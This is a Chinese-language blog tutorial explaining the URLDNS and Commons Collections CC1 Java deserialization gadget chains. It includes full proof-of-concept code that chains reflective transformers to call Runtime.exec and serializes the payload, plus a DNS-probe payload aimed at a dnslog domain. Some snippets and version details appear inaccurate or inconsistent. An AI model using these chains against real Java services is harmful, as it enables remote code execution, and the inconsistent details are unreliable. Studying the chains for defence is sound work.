本文最后更新于 2026年7月18日 上午
在开始之前推荐一个网站
Java反序列化漏洞Gadget Chain可视化图谱工具
这里有很多经典的Java反序列化漏洞的链子的可视化图谱,每一步都做了详细的解释,学习起来非常方便
URLDNS
适用版本:无
主要用于探测反序列化点
1 2
| ObjectInputStream ois = new ObjectInputStream(socket.getInputStream()); Object obj = ois.readObject();
|
当你调用 ois.readObject() 时,Java 虚拟机(JVM)会执行以下步骤:
- 读取字节流,重建对象。
- 在重建对象的过程中,自动调用该对象的
readObject() 方法(如果定义了)。
在URLDNS链中重建的对象就是HashMap
1 2 3 4 5 6 7 8
| HashMap.readObject(java.io.ObjectInputStream s) : for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); }
|
这个方法在执行hash(key)的时候会调用key.hashCode()
1 2 3 4 5 6 7
| public synchronized int hashCode() { if (hashCode != -1) return hashCode;
hashCode = handler.hashCode(this); return hashCode; }
|
默认的 URLStreamHandler.hashCode() 会尝试解析域名,我们只需要控制域名就能进行一次DNS查询
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import java.io.*; import java.net.URL; import java.util.Base64; import java.util.HashMap;
public class Main { public static void main(String[] args) throws Exception { HashMap<Object, Object> hashMap = new HashMap<>(); URL url = new URL("http://poeh21.dnslog.cn."); hashMap.put(url, null); ser(hashMap); deser(); } public static void ser(Object obj) throws Exception { FileOutputStream fos = new FileOutputStream("data.ser"); ObjectOutputStream os = new ObjectOutputStream(fos); os.writeObject(obj); ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); byte[] bytes = baos.toByteArray(); System.out.println(Base64.getEncoder().encodeToString(bytes)); }
public static void deser() throws Exception{ FileInputStream fis = new FileInputStream("data.ser"); ObjectInputStream ois = new ObjectInputStream(fis); ois.readObject(); } }
|
成功打通

1 2 3 4
| Gadget chain: ObjectInputStream.readObject() HashMap.readObject() URL.hashCode()
|
CC1
CVE-2015-7502
适用版本:Apache Commons Collections 3.2.1及以下版本,JDK 版本8u71 之前(8u71 修复了 AnnotationInvocationHandler.readObject())
AnnotationInvocationHandler入口类
1 2 3 4 5 6 7 8 9 10 11 12
| private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException { s.defaultReadObject();
Object memberValuesObj = memberValues.get("memberValues");
}
|
LazyMap触发类
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class LazyMap extends AbstractMapDecorator implements Serializable { private final Transformer factory;
public Object get(Object key) { if (!map.containsKey(key)) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); } }
|
map 是一个空 HashMap,所以 map.containsKey("memberValues") 返回 false。
- 于是调用
factory.transform(key),其中 key 是字符串 "memberValues",factory 是 ChainedTransformer 实例。
将多个 Transformer 串联成一条执行链——transform(input) 会依次调用每个 Transformer,前一个的输出作为后一个的输入。
1 2 3 4 5 6 7 8 9 10 11
| public class ChainedTransformer implements Transformer, Serializable { private final Transformer[] iTransformers; public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; } }
|
初始输入 object = "memberValues"(字符串)
数组中有 4 个 Transformer,依次执行:
1 2 3 4 5 6 7 8 9 10 11 12
| public class ConstantTransformer implements Transformer, Serializable { private final Object iConstant;
public ConstantTransformer(Object constantToReturn) { iConstant = constantToReturn; }
public Object transform(Object input) { return iConstant; } }
|
- 输入:
"memberValues"(忽略)
- 输出:
Runtime.class(即 java.lang.Runtime 的 Class 对象)
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| public class InvokerTransformer implements Transformer, Serializable { private final String iMethodName; private final Class<?>[] iParamTypes; private final Object[] iArgs;
public Object transform(Object input) { if (input == null) return null; Class<?> cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } }
|
- 构造参数:
iMethodName = "getMethod", iParamTypes = [String.class, Class[].class], iArgs = ["getRuntime", []]
- 输入:
Runtime.class(Class 对象)
- 反射调用:
Runtime.class.getMethod("getRuntime")
- 输出:
Method 对象,表示 Runtime.getRuntime() 方法
- 构造参数:
iMethodName = "invoke", iParamTypes = [Object.class, Object[].class], iArgs = [null, []]
- 输入:上一步得到的
Method 对象(Runtime.getRuntime 方法)
- 反射调用:
method.invoke(null) → 相当于调用 Runtime.getRuntime()
- 输出:
Runtime 实例(即 Runtime.getRuntime() 的返回值)
- 构造参数:
iMethodName = "exec", iParamTypes = [String.class], iArgs = ["calc"]
- 输入:上一步得到的
Runtime 实例
- 反射调用:
runtime.exec("calc")
- 输出:
Process 对象(计算器已启动)
把核心Transformer整合起来就是:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.functors.ChainedTransformer;
public class Test { public static void main(String[] args) { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}) };
ChainedTransformer chain = new ChainedTransformer(transformers);
chain.transform("任意输入"); } } javac -cp commons-collections-3.2.2.jar Test.java java -cp .;commons-collections-3.2.2.jar Test
|
完整利用链
至此我们可以写出完整的利用链了
1 2 3 4 5 6 7 8
| ObjectInputStream.readObject() → AnnotationInvocationHandler.readObject() → Proxy.entrySet() → AnnotationInvocationHandler.invoke() → LazyMap.get() → ChainedTransformer.transform() → InvokerTransformer.transform() → Runtime.exec()
|
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap;
import java.io.*; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class CC1 { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { ConstantTransformer ct = new ConstantTransformer(Runtime.class);
String methodName1 = "getMethod"; Class[] paramTypes1 = {String.class, Class[].class}; Object[] args1 = {"getRuntime", null}; InvokerTransformer it1 = new InvokerTransformer(methodName1, paramTypes1, args1);
String methodName2 = "invoke"; Class[] paramTypes2 = {Object.class, Object[].class}; Object[] args2 = {null, null}; InvokerTransformer it2 = new InvokerTransformer(methodName2, paramTypes2, args2);
String methodName3 = "exec"; Class[] paramTypes3 = {String.class}; Object[] args3 = {"calc"}; InvokerTransformer it3 = new InvokerTransformer(methodName3, paramTypes3, args3);
Transformer[] transformers = {ct, it1, it2, it3}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); map.put("value", ""); Map decorated = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor annoConstructor = clazz.getDeclaredConstructor(Class.class, Map.class); annoConstructor.setAccessible(true); Object poc = annoConstructor.newInstance(Target.class, decorated);
serial(poc); unserial(); }
public static void serial(Object obj) throws IOException { ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin")); out.writeObject(obj); }
public static void unserial() throws IOException, ClassNotFoundException { ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin")); in.readObject(); } }
|
参考文献
0基础入门java安全(一)–CC1基础分析 - E73RN4L - 博客园
CC、CB链整合篇-先知社区